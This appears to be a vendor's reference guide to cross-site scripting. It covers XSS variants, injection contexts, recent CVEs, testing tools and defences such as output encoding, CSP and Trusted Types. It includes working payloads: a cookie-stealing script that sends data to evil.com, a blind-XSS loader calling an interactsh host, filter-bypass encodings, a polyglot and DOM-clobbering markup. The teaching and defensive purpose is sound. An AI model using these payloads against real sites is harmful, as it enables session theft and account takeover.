XSS (CWE-79, OWASP A03:2021) lets attackers inject JavaScript into pages served to other users — session theft, credential harvesting, and account takeover.
TL;DR
unsafe-inline, making CSP ineffective without Trusted TypesCross-Site Scripting (XSS) is a client-side injection vulnerability where user-controlled data is embedded in an HTML page without context-aware encoding, causing the browser to parse attacker-supplied markup as executable code (CWE-79: Improper Neutralization of Input During Web Page Generation). The injected script executes under the origin of the vulnerable site — inheriting its cookies, localStorage tokens, DOM access, and the ability to make fully authenticated same-origin requests on the victim's behalf.
XSS is categorically distinct from SQL injection (server-side data-layer), SSRF (server-side request forgery), and CSRF (cross-origin forged requests). In CSRF, the attacker tricks the browser into sending a forged request but cannot read the response. In XSS, the attacker's script executes with full same-origin read/write access — making XSS a superset that can carry out any CSRF as one of its primitives.
CWE-79 ranked #1 on the MITRE/CISA CWE Top 25 Most Dangerous Weaknesses (2024, score 56.92) and #1 in 2025 (score 60.38). XSS accounts for 20% of all HackerOne-reported vulnerability disclosures. The 8,000+ CWE-79 CVE entries in the 2025 CVE database make XSS the single most documented client-side vulnerability class. OWASP places injection at A03:2021, covering XSS as its most prevalent member.
The root cause is missing or context-inappropriate encoding at the point where user data enters an HTML document. The browser's HTML parser cannot distinguish developer-intended markup from attacker-injected markup — it parses both.
The attack proceeds in four steps:
A minimal reflected XSS — a search endpoint that echoes the query parameter raw:
GET /search?q="><script>document.location='https://evil.com/steal?c='+document.cookie</script>
Host: vulnerable.example.com<!-- Server response (unencoded reflection): -->
<p>Results for: "><script>document.location='https://evil.com/steal?c='+document.cookie</script></p>The " closes the attribute and > closes the tag, dropping the script into the HTML body where it executes immediately on parse.
| Variant | Persistence | CVSS | Victim Interaction | Dedicated Page |
|---|---|---|---|---|
| Reflected | None (URL only) | 6.1 Medium | Required (click link) | /learn/xss-reflected |
| Stored | Database / persistent store | Up to 9.3 Critical | None after store | /learn/xss-stored |
| DOM-based | None (client-side only) | 6.1 Medium | Required (visit URL) | /learn/xss-dom |
| Blind | Admin panel / internal tool | 9.1 Critical | None (async admin view) | /learn/xss-blind |
| Mutation (mXSS) | Depends on host variant | 6.1–9.0 | Depends | /learn/xss-mutation |
| Self-XSS | None | Low | Social engineering | — |
Reflected XSS (Type-1) lives in the HTTP request. Payload in query parameter ?q=<script>... is reflected in the response HTML. Requires delivery via phishing URL or malicious redirect. Bypasses SameSite cookies because the victim navigates directly to the attacker's URL — no cross-origin request, no CSRF trigger.
Stored XSS (Type-2) writes the payload to a persistent store (database comment field, user profile bio, webhook log). Every subsequent page load retrieves and renders the payload. When admin panels display stored user content without encoding, stored XSS becomes account takeover for all administrators. CVE-2024-49038 (Microsoft Copilot Studio, CVSS 9.3) exploited precisely this pattern at cloud scale.
DOM-based XSS (Type-0) executes client-side without the server seeing the payload. JavaScript reads from a source (location.hash, document.referrer, postMessage data, localStorage) and writes to a sink (innerHTML, eval(), document.write(), setTimeout(string)) without sanitization. The Function(str)() sink pattern caused CVE-2024-4367 in PDF.js (CVSS 8.8, ~2.7M NPM weekly downloads).
Blind XSS fires in an admin panel or internal tool that the attacker cannot directly observe. The attacker injects a payload in a support ticket, order note, or User-Agent header and waits for an out-of-band callback when a privileged user opens the page. XSS Hunter Express, Burp Collaborator, and Interactsh all implement the same OOB model: unique per-injection token in the callback URL, server-side registry, async delivery.
Mutation XSS exploits parser differentials. A sanitizer marks input safe after one parse pass. When the sanitized output is assigned to innerHTML, the browser re-parses it in a different namespace context — SVG, MathML, or HTML integration points — producing a different DOM that contains executable JavaScript. DOMPurify ≤3.1.2 contained four distinct mXSS chains, all exploiting namespace boundary confusion.
The payload format that causes execution depends on the rendering context. Submitting the same string into different contexts requires entirely different encoding bypass strategies.
| Context | Example | Break-out technique | Encoding that blocks it |
|---|---|---|---|
| HTML body | <p>USER</p> | <script>alert(1)</script> | HTML entity encode <>&"' |
| HTML attribute (double-quoted) | <input value="USER"> | " onfocus=alert(1) x=" | HTML entity encode all non-alphanumeric |
| HTML attribute (single-quoted) | <input value='USER'> | ' onfocus=alert(1) x=' | Same |
| HTML attribute (unquoted) | <input value=USER> | autofocus onfocus=alert(1)// | Same |
| JavaScript string | var x = "USER"; | ";alert(1);// | JavaScript hex encode \xHH |
| JavaScript template literal | var x = `USER`; | ${alert(1)} | Same |
| URL / href | <a href="USER"> | javascript:alert(1) | URL-encode then HTML-encode |
| CSS | color: USER | }body{background:url(//evil)} | CSS hex encode \HH |
| SVG attribute | <svg><text>USER</text> | <script>alert(1)</script> | SVG namespace DOMPurify |
| Template engine | {{ USER }} | Depends on engine | Engine auto-escape or e filter |
New event handlers (2024–2025) that bypass filters targeting classic onerror/onload:
<xss oncontentvisibilityautostatechange=alert(1) style=content-visibility:auto>
<xss id=x onbeforematch=alert(1) hidden=until-found>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>Standard XSS filters that block <script>, alert(, or known event handlers are bypassed through encoding, obfuscation, and payload mutation.
Encoding bypasses:
<script> HTML hex entity — bypasses string-match filters
%3Cscript%3E URL encoding — bypasses non-URL-aware filters
%253Cscript%253E Double URL encoding — bypasses single-decode filters
<script> Unicode fullwidth (U+FF1C, U+FF1E) — NFKC normalization
eval(atob('PHNjcmlwdD4...')) Base64 + eval — bypasses keyword filters on "alert", "script"
\x61\x6c\x65\x72\x74(1) JavaScript hex escapes — bypasses function name filtersFunction obfuscation to bypass eval( and alert( keyword blocks:
alert`1` // template literal invocation
window['alert'](0) // bracket notation
[].constructor.constructor('alert(1)')() // Function constructor
<script>onerror=alert;throw 1337</script> // implicit call via throwMagic 7 polyglots — USENIX Security 2024 (Kirchner et al.): Researchers used Monte Carlo Tree Search to synthesize 7 polyglot payloads covering all major injection contexts (HTML body, attribute single/double-quoted, JavaScript string, URL, CSS, template literal). Validated on the Tranco Top 100,000: discovered 20 vulnerabilities in 18 backend systems. A single polyglot like the one below fires in HTML body, attribute, and JavaScript string contexts without modification:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3eDOM clobbering uses named HTML elements to shadow JavaScript globals — without any <script> tag:
<!-- For code: var url = window.config.cdn; -->
<a id="config"><a id="config" name="cdn" href="https://attacker.com/malicious.js">CVE-2024-7524 (Firefox, strict-dynamic CSP bypass): the Facebook SDK ETP shim reads document.currentScript.src without a tagName guard. Injecting <img name="currentScript" src="data:,alert(document.domain)"> causes the shim to treat the data: URI as a nonce-trusted child script.
Prototype pollution → XSS: polluting Object.prototype with attacker-controlled properties can override DOMPurify's internal config, disabling sanitization. CVE-2026-41238 (DOMPurify 3.0.1–3.3.3): Object.prototype.tagNameCheck = /.*/ causes all elements to pass the allowlist check — making a prototype pollution source anywhere in the application into a full XSS bypass at the sanitizer layer.
| CVE | Product | CVSS | Variant | Status |
|---|---|---|---|---|
| CVE-2024-49038 | Microsoft Copilot Studio | 9.3 Critical | Stored / postMessage | Patched Nov 2024 |
| CVE-2024-4367 | Mozilla PDF.js / Firefox | 8.8 High | DOM (new Function() sink) | Patched Firefox 126 |
| CVE-2024-37383 | Roundcube Webmail | 6.1 Medium | Stored (SVG animate) | CISA KEV |
| CVE-2024-2194 | WP Statistics (600K installs) | 7.2 High | Stored (unauthenticated) | Mass-exploited |
| CVE-2023-40000 | LiteSpeed Cache (5M installs) | 8.8 High | Stored (unauthenticated) | Mass-exploited 2024 |
| CVE-2024-0007 | PAN-OS Panorama | 9.0 Critical | Stored (admin panel) | Patched Jan 2024 |
| CVE-2024-0010 | PAN-OS GlobalProtect | 8.2 High | Reflected | Patched Jan 2024 |
| CVE-2024-47875 | DOMPurify ≤3.1.2 | 10.0 Critical | mXSS (namespace confusion) | Fixed 3.4.0 |
CVE-2024-49038 — Microsoft Copilot Studio (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Insufficient sanitization during web page generation allowed unauthenticated attackers to inject scripts into authenticated user sessions via postMessage / DOM injection. Combined with missing Trusted Types enforcement, the script executed in authenticated Microsoft 365 tenant context — enabling session hijacking and cross-tenant lateral movement. Microsoft patched on November 26, 2024 (Patch Tuesday).
CVE-2024-4367 — PDF.js arbitrary JavaScript execution (CVSS 8.8)
The PDF.js font rendering pipeline compiled glyph instructions into new Function(...) bodies. A FontMatrix array in PDF metadata — fully controllable by the PDF creator — was inserted raw into the function body without type validation. Injecting a string value closed the transform call and appended arbitrary JavaScript. Scope: ~2.7M weekly NPM downloads of pdfjs-dist, all Firefox versions below 126, all Electron apps embedding PDF.js. Discovery: Codean Labs / Thomas Rinsma, disclosed 2024-04-26.
CVE-2024-37383 — Roundcube Webmail SVG animate (CISA KEV)
Roundcube's rcube_washer HTML sanitizer failed to strip whitespace-prefixed SVG <animate> attribute values. The payload <svg><animate attributeName=" onbegin" values="alert(1)" dur="1s"/> prepends a space to onbegin, bypassing the attribute denylist check. The vulnerability was actively exploited against governmental organizations in CIS countries in state-sponsored phishing campaigns before CISA added it to the KEV catalog (2024-10-24).
HackerOne disclosures: HackerOne #3357808 — Nextcloud stored XSS via SVG file upload ($150 bounty). HackerOne #2257080 — GitLab stored XSS via Banzai pipeline (abstract reference filter in Markdown rendering). HackerOne #3293290 — Nextcloud Contacts stored XSS via SVG in contact card ($100 bounty). HackerOne #3045455 — Autodesk reflected XSS via SVG served as image/svg+xml.
q, search, id, redirect, next), POST body fields, HTTP headers (User-Agent, Referer, X-Forwarded-For), JSON text fields (comment, description, title, body), file upload metadata.xss"'<> in each parameter. Inspect the response — identify the injection context (HTML body, attribute double-quoted, attribute unquoted, JavaScript string, URL).<img src=x onerror=alert(document.domain)>" onfocus=alert(1) autofocus x="';alert(1);//javascript:alert(document.domain)location.hash=#xss"'<> and inspect DOM in browser DevTools — trace where the hash value is read. Use Burp DOM Invader for automated source→sink tracing."><script src="https://YOUR.interactsh.com/COLLAB"></script> in every free-text input, then monitor your OOB listener for callbacks.Dalfox — parameter-based XSS scanner with blind XSS support and DOM analysis:
# Reflected XSS — single URL
dalfox url "https://target.com/search?q=test" --blind https://YOUR.interactsh.com/COLLAB
# Stored XSS — provide a read-back URL after write
dalfox url "https://target.com/profile" --data "bio=TEST" \
--follow-redirects --waf-evasionBurp DOM Invader instruments Burp's embedded Chromium browser to trace all source→sink flows during manual browsing, detect postMessage handlers without event.origin checks, and generate context-aware PoC payloads for identified sinks. This is the current standard tool for DOM XSS discovery.
Semgrep SAST (semgrep --config p/xss) flags innerHTML assignments with user-controlled sources, dangerous template patterns (EJS <%-, Handlebars triple-stache), and framework escape hatches at CI time. CodeQL provides full cross-function data-flow analysis for complex taint paths. Neither tool catches DOM XSS from minified bundles or runtime-generated code — complement SAST with headless browser-based DAST.
BreachVex detects XSS through multiple complementary techniques: an encoding pre-screen that classifies reflection context (and skips browser confirmation for fully-encoded reflections), canary injection with context-appropriate payloads, source→sink taint tracking in an instrumented browser, and out-of-band blind-XSS correlation via a multi-day token registry.
Output encoding is the primary, non-negotiable defense. The encoding scheme depends on the rendering context — applying HTML encoding to a JavaScript string context still leaves the injection exploitable.
| Context | Safe encoding | Safe API |
|---|---|---|
| HTML body | & < > " ' → entities | element.textContent, markupsafe.escape() |
| HTML attribute | All non-alphanumeric → &#xHH; | Template engine auto-escape |
| JavaScript string | All non-alphanumeric → \xHH | JSON.stringify() |
| URL parameter | RFC 3986 percent-encoding | encodeURIComponent() |
| CSS value | All non-alphanumeric → \HH | CSS-escape libraries |
The two critical rules from OWASP: encode at output time (not input time, to avoid double-encoding); never place user data in inherently dangerous contexts (inline <script> bodies, inline event handler attributes, HTML comment nodes, CSS <style> blocks) — even with encoding, these contexts are error-prone.
// SAFE — JSX auto-encodes all expressions
const App = ({ name }) => <div>Hello {name}</div>;
// VULNERABLE — dangerouslySetInnerHTML bypasses React's encoding entirely
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// SAFE — dangerouslySetInnerHTML with DOMPurify (ensure >= 3.4.0)
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />Avoid passing sensitive data as Next.js pageProps — the full __NEXT_DATA__ script tag is embedded in the HTML response, readable by any script executing on the page.
<!-- SAFE — text interpolation auto-escapes -->
<div>{{ userInput }}</div>
<!-- VULNERABLE — v-html renders raw HTML -->
<div v-html="userInput"></div>
<!-- SAFE — v-html with sanitizer -->
<script>import DOMPurify from 'dompurify';</script>
<div v-html="DOMPurify.sanitize(userInput)"></div>// SAFE — Angular template binding sanitizes [innerHTML]
@Component({ template: '<div [innerHTML]="trustedContent"></div>' })
// VULNERABLE — bypasses DomSanitizer entirely
safeHTML = this.sanitizer.bypassSecurityTrustHtml(userInput);
// CVE-2025-66412 (Angular < 19.2.17): SVG xlink:href not sanitized
// VULNERABLE in Angular < 19.2.17:
// <svg><a [attr.xlink:href]="userUrl"><text>click</text></a></svg>
// Safe: validate userUrl against an allowlist, or use [routerLink]<!-- SAFE — Svelte auto-escapes by default -->
{userInput}
<!-- VULNERABLE — {@html} bypasses escaping -->
{@html userInput}// VULNERABLE — raw string interpolation in Express
app.get('/search', (req, res) => {
res.send(`<p>Results for: ${req.query.q}</p>`);
});
// SAFE — markupsafe (Python) or escape-html (Node.js)
const escapeHtml = require('escape-html');
res.send(`<p>Results for: ${escapeHtml(req.query.q)}</p>`);Content-Security-Policy:
default-src 'none';
script-src 'nonce-RANDOM_PER_REQUEST' 'strict-dynamic';
style-src 'nonce-RANDOM_PER_REQUEST';
img-src https: data:;
base-uri 'none';
object-src 'none';
form-action 'self';
require-trusted-types-for 'script';
trusted-types default dompurifyKey directives: nonce must be cryptographically random and change per response (cached nonces are stealable via dangling markup). strict-dynamic propagates trust to dynamically loaded scripts from nonce-trusted parents — making CSP practical without whitelisting CDN domains. base-uri 'none' blocks base-tag injection. object-src 'none' blocks plugin-based XSS.
Trusted Types eliminates DOM XSS at the platform level. Enforced via require-trusted-types-for 'script', the browser rejects all raw-string assignments to DOM sinks — innerHTML, eval, document.write, setTimeout(string) all throw TypeError for non-typed values. Google enforces Trusted Types on YouTube (since July 2024), Microsoft 365, Azure, and Stripe payment flows. The W3C recommends Trusted Types as the primary DOM XSS defense (W3C Blog, 2025). Chrome/Edge enforce it; Firefox and Safari support is in progress.
// SAFE — DOMPurify + Trusted Types policy
const policy = trustedTypes.createPolicy('dompurify', {
createHTML: (input) => DOMPurify.sanitize(input, { RETURN_TRUSTED_TYPE: true })
});
element.innerHTML = policy.createHTML(userInput); // OK
element.innerHTML = userInput; // TypeError — blocked"Input sanitization" is an incomplete primary defense for XSS. DOMPurify bypass chains (CVE-2024-47875: CVSS 10.0, all DOMPurify < 3.4.0), prototype pollution overriding sanitizer config (CVE-2026-41238), and double-sanitization triple-parse chains (Mermaid.js pattern) show that sanitizer libraries have complex, version-dependent failure modes. Sanitization is a necessary layer for rich-text rendering — but always combined with output encoding, Trusted Types, and CSP. Never treat a sanitizer call as a complete solution.
HttpOnly on session cookies prevents document.cookie access from JavaScript, mitigating session hijacking via XSS. XSS can still steal tokens from localStorage, exfiltrate DOM content, keylog forms, and make authenticated requests — HttpOnly is a mitigation, not prevention. SameSite=Strict prevents session cookies from being sent in cross-origin requests initiated by XSS payloads on attacker-controlled subdomains.
Subresource Integrity (SRI): add integrity="sha384-..." on all <script> and <link> tags loading third-party resources. A CDN-level XSS (attacker compromises the CDN) cannot inject a modified script because the hash check fails.
What is Cross-Site Scripting (XSS)? XSS (CWE-79, OWASP A03:2021) is a client-side injection vulnerability where user-supplied data is embedded in a web page without proper encoding, causing the browser to execute attacker-controlled JavaScript under the target site's origin. That origin context grants the script access to cookies, localStorage tokens, the full DOM, and the ability to make authenticated requests on the victim's behalf.
What is the difference between reflected and stored XSS? Reflected XSS executes immediately when a victim clicks a crafted link — the payload lives in the URL and is never stored (CVSS 6.1 Medium). Stored XSS persists in the server's database and fires automatically for every user who loads the affected page (CVSS up to 9.3 Critical). Stored XSS requires no social engineering after the initial injection.
What is DOM-based XSS and why is it harder to detect?
DOM XSS occurs entirely in the browser. The server returns a clean response; client-side JavaScript reads from a source (location.hash, postMessage, localStorage) and writes to a sink (innerHTML, eval) without sanitization. Server-side WAFs and DAST tools examining HTTP responses see no attack — detection requires headless browser execution with taint tracking.
What is blind XSS and how is it detected?
Blind XSS fires asynchronously in an admin panel or internal tool. The attacker embeds an OOB payload in a support ticket, order note, or User-Agent header and waits for a callback. Detection requires OOB infrastructure (XSS Hunter, Burp Collaborator, Interactsh) — standard scanners cannot observe delayed execution.
What is mutation XSS (mXSS)? mXSS exploits the non-idempotency of HTML parsing across namespace contexts (HTML / SVG / MathML). A sanitizer marks input safe; the browser re-parses the sanitized output and produces a different DOM containing executable JavaScript. DOMPurify ≤3.1.2 had four distinct mXSS bypass chains — all fixed in 3.4.0.
Does React prevent XSS automatically?
React's JSX auto-encodes all expressions. The single escape hatch is dangerouslySetInnerHTML={{ __html: value }} — which disables encoding entirely. Always sanitize with DOMPurify ≥3.4.0 before passing to this API.
What is the difference between XSS and CSRF? CSRF forges a request from the victim's browser to a target site without executing JavaScript or reading responses. XSS executes JavaScript with full same-origin access — it can carry out any CSRF as a subset of its capabilities.
How does Trusted Types prevent DOM XSS?
require-trusted-types-for 'script' makes all DOM sinks reject raw strings at the browser level (TypeError). Values must pass through a Trusted Types policy whose createHTML function must sanitize the input. Google enforces it on YouTube, Microsoft 365, Azure, and Stripe.
Can XSS bypass Content Security Policy?
Yes — via JSONP on allow-listed domains, AngularJS template evaluation, dangling markup nonce theft, and unsafe-inline (present in 91% of CSP-enabled sites). CSP is defense-in-depth, not a primary defense.
What can an attacker do with an XSS vulnerability?
Session hijacking, credential harvesting, account takeover, malware delivery, intranet pivoting (blind XSS → fetch() to internal services), and persistent admin compromise for stored variants.
What is the CVSS score for XSS? Reflected/DOM: 6.1 Medium (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). Stored: up to 9.3 Critical (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N). CVE-2024-49038 (Copilot Studio) reached 9.3; CVE-2024-0007 (PAN-OS Panorama) reached 9.0.
Does a WAF protect against XSS completely? No. DOM XSS is entirely client-side — the payload never reaches the server. Encoding bypasses, alternate event handlers, and SVG animation payloads bypass most WAF rulesets. WAFs are a detection layer; output encoding and Trusted Types are the primary defenses.
Which frameworks automatically prevent XSS?
React, Vue, Angular, Svelte, and all major template engines (Jinja2, Django templates, Handlebars double-stache) auto-escape output by default. Each has an explicit escape hatch — dangerouslySetInnerHTML, v-html, bypassSecurityTrustHtml, {@html} — that bypasses protection entirely when used with unsanitized data.
What is DOM clobbering? DOM clobbering injects named HTML elements that shadow JavaScript globals, enabling XSS without a script tag. CVE-2024-7524 (Firefox) used DOM clobbering to bypass strict-dynamic CSP by making the Facebook SDK shim load a data: URI as a nonce-trusted child script.
XSS (CWE-79, OWASP A03:2021) is a client-side injection vulnerability where user-supplied data is embedded in a web page without proper encoding, causing the browser to execute attacker-controlled JavaScript under the target site's origin. That origin context grants the script access to cookies, localStorage tokens, the full DOM, and the ability to make authenticated requests on the victim's behalf.
Reflected XSS executes immediately when a victim clicks a crafted link — the payload lives in the URL and is never stored. Stored XSS persists in the server's database and fires automatically for every user who loads the affected page, including administrators. Stored XSS reaches CVSS 9.3 Critical; reflected sits at 6.1 Medium because it requires a social-engineering step to deliver the malicious URL.
DOM XSS occurs entirely in the browser. The server returns a clean response; client-side JavaScript reads attacker-controlled data from a source (location.hash, postMessage, localStorage) and writes it to a dangerous sink (innerHTML, eval, document.write) without sanitization. The server response is safe — the attack is invisible to server-side WAFs and most DAST tools that only examine HTTP responses. Detection requires headless browser execution with taint tracking.
Blind XSS is a stored XSS variant where the payload fires asynchronously in an admin panel, support ticket system, or internal tool the attacker cannot directly observe. The attacker embeds a payload that loads an out-of-band script from their listener (XSS Hunter, Burp Collaborator, Interactsh). Detection is impossible without OOB callback infrastructure — standard scanners cannot observe the delayed execution.
mXSS exploits HTML parser non-idempotency. A sanitizer deems input safe after one parse pass; the browser re-parses the sanitized output in a different namespace context (HTML vs. SVG vs. MathML), yielding a different DOM containing executable JavaScript. DOMPurify ≤3.1.2 contained four mXSS bypass chains (all fixed in 3.4.0) exploiting namespace switching, depth-limit clobbering, and multi-round parsing differentials.
DOM clobbering uses HTML injection to shadow JavaScript globals with DOM elements. Named elements (id, name attributes) override window properties: injecting <a id='config'> makes window.config return an HTMLElement instead of the expected object. When application code passes the clobbered value to a DOM sink, XSS fires without any script tag. CVE-2024-7524 (Firefox) demonstrated a DOM clobbering chain that bypassed strict-dynamic CSP.
Session hijacking (steal HttpOnly-excluded cookies and non-HttpOnly tokens from localStorage), credential harvesting (keylog login forms), account takeover (change email/password via authenticated AJAX), malware delivery (redirect to drive-by downloads), intranet pivoting (blind XSS → fetch() to internal services), and persistent beachhead on stored variants (every admin who opens the page is compromised).
React's JSX auto-encodes all expressions: {userInput} is safe. The single escape hatch is dangerouslySetInnerHTML={{ __html: userInput }} — which disables React's encoding entirely. Any unsanitized value passed to dangerouslySetInnerHTML causes XSS. Always sanitize with DOMPurify ≥3.4.0 before passing to this API. The same pattern applies to Next.js.
XSS injects JavaScript that runs in the victim's browser under the attacked site's origin — giving the script full same-origin access to cookies, DOM, and all APIs. CSRF tricks the victim's browser into sending a forged authenticated request to a target site, but without script execution or response access. XSS is strictly more powerful: an XSS payload can carry out any CSRF attack as a subset of its capabilities.
Trusted Types (enforced via the CSP directive require-trusted-types-for 'script') makes all DOM sinks (innerHTML, eval, document.write, etc.) reject raw strings at the browser level, throwing a TypeError instead. Passing a value requires wrapping it in a Trusted Types policy whose createHTML function must sanitize it. This eliminates the entire DOM XSS class at the platform level — an attacker cannot reach any sink without passing through a developer-defined sanitizer.
Yes, through several vectors: (1) JSONP endpoints on an allow-listed domain let an attacker inject script-src-compliant requests; (2) AngularJS on allow-listed domains enables template expression evaluation; (3) dangling markup injects an unclosed attribute that steals nonces from subsequent page content; (4) 91% of desktop sites with CSP include unsafe-inline, which defeats all nonce and hash protections. CSP is defense-in-depth, not a primary defense.
Reflected and DOM-based XSS: CVSS 6.1 Medium (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) — requires victim interaction. Stored XSS: up to CVSS 9.3 Critical (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N) — fires automatically, no victim interaction post-store. CVE-2024-49038 (Microsoft Copilot Studio) reached 9.3. CVE-2024-0007 (PAN-OS Panorama) reached 9.0.
No. DOM XSS is entirely client-side — the server payload is clean, so WAFs see nothing to block. Encoding bypasses (Unicode fullwidth, HTML entities, JavaScript hex/unicode escapes, base64+eval), alternate event handlers (oncontentvisibilityautostatechange, onbeforematch), and SVG animation payloads (CVE-2024-37383 pattern) bypass most WAF rulesets. WAFs are a detection layer; output encoding and Trusted Types are the primary defenses.
React, Vue, Angular, Svelte, and all modern templating engines (Jinja2, Django templates, Handlebars double-stache) auto-escape output by default. Each has an explicit escape hatch: React dangerouslySetInnerHTML, Vue v-html, Angular bypassSecurityTrustHtml(), Svelte {@html}, Jinja2 | safe filter, Handlebars triple-stache {{{. Using these APIs with unsanitized input causes XSS — the frameworks warn you with deliberately alarming API names.